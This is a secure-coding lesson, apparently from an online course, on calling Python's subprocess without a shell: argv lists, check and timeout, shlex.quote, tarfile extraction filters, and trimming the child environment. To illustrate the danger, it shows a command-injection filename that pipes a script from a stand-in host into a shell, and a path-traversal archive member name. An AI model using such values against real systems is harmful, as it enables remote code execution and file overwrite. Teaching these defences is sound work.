Lesson 10 of 20 · 15m
subprocess Without the Shell
shell=True hands your string to /bin/sh -c and its whole grammar — the argv list form removes the parser, and check/timeout remove the silent failures.
subprocess.run("tar -xf " + filename, shell=True) does not run tar. It runs /bin/sh -c 'tar -xf <filename>' — the shell parses your string, and the shell speaks ;, |, $(), backticks, &&, redirects. A filename of docs.tar; curl evil.sh | sh is a perfectly valid shell line. That is the entire mechanism of OS command injection: the argument you concatenated became syntax.
The list form — subprocess.run(["tar", "-xf", filename]) — never touches a shell. execvp hands argv to the kernel as an array; a filename containing ; is just a weird filename. No parsing, no metacharacters, no injection surface. On Windows shell=True goes through cmd.exe /c with its own quoting rules; on POSIX it is /bin/sh -c. Either way, the string form rents you the shell's parser — and you pay for it in escaping, forever.
The signature that covers real usage
subprocess.run(
["convert", src, dst],
check=True, # raise CalledProcessError on nonzero exit
timeout=30, # kill the child if it outlives its welcome
capture_output=True, # collect stdout/stderr instead of inheriting
text=True, # decode as str, not bytes
input="payload", # feed stdin without Popen plumbing
)check=True is the flag scripts skip and regret — a failed ffmpeg exits nonzero, the script proceeds anyway, and you ship a zero-byte render that failed silently. timeout= is the one production needs — a wedged child otherwise holds your worker forever. For streaming output or interactive children, drop to subprocess.Popen — run is built on it — but run covers nearly everything a script needs since Python 3.5 added it.
When a shell is genuinely needed
Pipelines (a | b), glob expansion, redirection the program can't do itself. Two answers, in order of preference: restructure — two run calls wired by pipes you build, or globbing done with pathlib.Path.glob — or quote every interpolated piece with shlex.quote, which exists for exactly this and is POSIX-only. What never works reliably: building the command with f-strings and then "sanitizing" by blocklisting ;. The shell's grammar is richer than your blocklist. Always.
The trust boundary lives in the stdlib too
CVE-2007-4559 sat in tarfile.extractall for roughly fifteen years: member names like ../../etc/cron.d/x wrote outside the target directory — disclosed by Trellix in 2022, reachable by thousands of projects that treated "extract the archive" as a safe primitive. Python 3.12 added extractall(filter="data") to strip dangerous members; 3.14 makes data the default. If you shell to tar or call tarfile on archives from outside your trust, extraction is a boundary — filter or list-form, not faith.
env, cwd, and the pipe deadlock
env= replaces the child's entire environment — pass a minimal dict like {"PATH": "/usr/bin"} when the child doesn't need your AWS_SECRET_ACCESS_KEY and DATABASE_URL. Inheriting the parent env is the default, and it leaks your secrets into every process you spawn. cwd= sets the working directory; neither shows up in the ps line the way an argument does.
The other classic footgun: reading p.stdout.read() on a Popen child that also writes stderr. Pipe buffers are finite (~64 KB); a child blocked writing stderr while you block reading stdout deadlocks both sides. communicate() exists precisely to drain both pipes concurrently — that is why run(..., capture_output=True) is built on it.
timeout= kills the child — not its grandchildren. A child that spawned its own children leaves them running; start_new_session=True puts the child in its own process group so os.killpg can take the whole tree when the deadline hits.
The rules
List form always. check=True and timeout= always. Never f-strings into a command. shlex.quote the day a shell is unavoidable. filter="data" on tar extraction. Command injection is not a web-framework bug class — it is what shell=True does by definition.
Was this lesson helpful?
Keep reading
Related articles from the SudoSecurity blog.
Free-Threaded Python, Measured: Threads Finally Scale, and Your Unlocked Counter Finally Breaks
Python 3.14 made the no-GIL build officially supported, and 3.15 kept going. I ran the same CPU-bound job on standard and free-threaded builds of both: threads went from slower-than-serial to 1.9x faster, and a counter that never lost an update under the GIL lost 70% of them without it.
What is Python? Enterprise, Data Science, and the Backend of the Web
Python runs Instagram, Dropbox, Netflix, Spotify, and Reddit. It trains the models that power modern AI. It processes petabytes of data in enterprise pipelines. And I ignored it for years because I thought it was just for academics. Here is what changed my mind.
What Python 3.13 Shipped
The first release of Python 3.13 is now here as a Beta Release. This article is a rundown of all of the important changes and features that are being released in Python 3.13, along with what they mean for Python Developers. Please remember that this can change between
What Python 3.11 Actually Changed
The Python Programming Language releases a new version every year, with a feature-locked beta release in the first half of the year and the final release toward the end of the year. The feature set for Python 3.11 has just been finalized, with a beta version available for testing.